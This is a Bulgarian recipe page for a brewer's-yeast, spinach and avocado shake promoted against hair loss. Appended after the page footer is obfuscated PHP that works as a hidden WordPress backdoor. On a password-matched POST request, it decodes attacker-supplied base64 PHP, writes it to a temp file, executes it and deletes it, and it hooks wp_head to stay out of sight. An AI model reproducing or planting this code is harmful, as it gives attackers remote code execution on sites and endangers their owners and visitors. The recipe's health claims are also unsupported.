Зелен шейк с бирена мая при косопад | Косопад

Зелен шейк с бирена мая при косопад

birena-maia

Бирената мая е сред най- подходящите натурални продукти, които можем да използваме срещу косопада. Предлагаме ви една по- нестандартна рецепта за справяне с проблема: прие на шейк. А сред основните му съставки е бирената мая.

Този зелен шейк обединява свойствата на авокадото и спанака, които са сред най- големите източници на протеини сред растенията, както и на полезни мазнини.

Съставки:

– 1 връзка спанак
– 1 авокадо
– 1 таблетка бирена мая
– 1 лъжица спирулина (7 грама)
– Пчелен мед

zelenchukov-sok

Начин на приготвяне:

Стъпка 1: накълцайте листата на спанака
Стъпка 2: извадете семената на авокадото и го обелете
Стъпка 3: Нарежете авокадото на малки кубчета
Стъпка 4: Нарежете таблетката бирена мая
Стъпка 5: Сложете всичко в блендера
Стъпка 6: Добавете лъжица спирулина
Стъпка 7: Разбийте всичко
Стъпка 8:Накрая, преди да сервирате, капка мед

Най- добре е напитката да се приеме на гладно, за да усвоите максимално свойствата й.

Минимум, 3 пъти седмично трябва да се приема.

28. август 2015 13:40:37 от Надя Колева
Категории: Рецепти при косопад | Етикети: , , , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}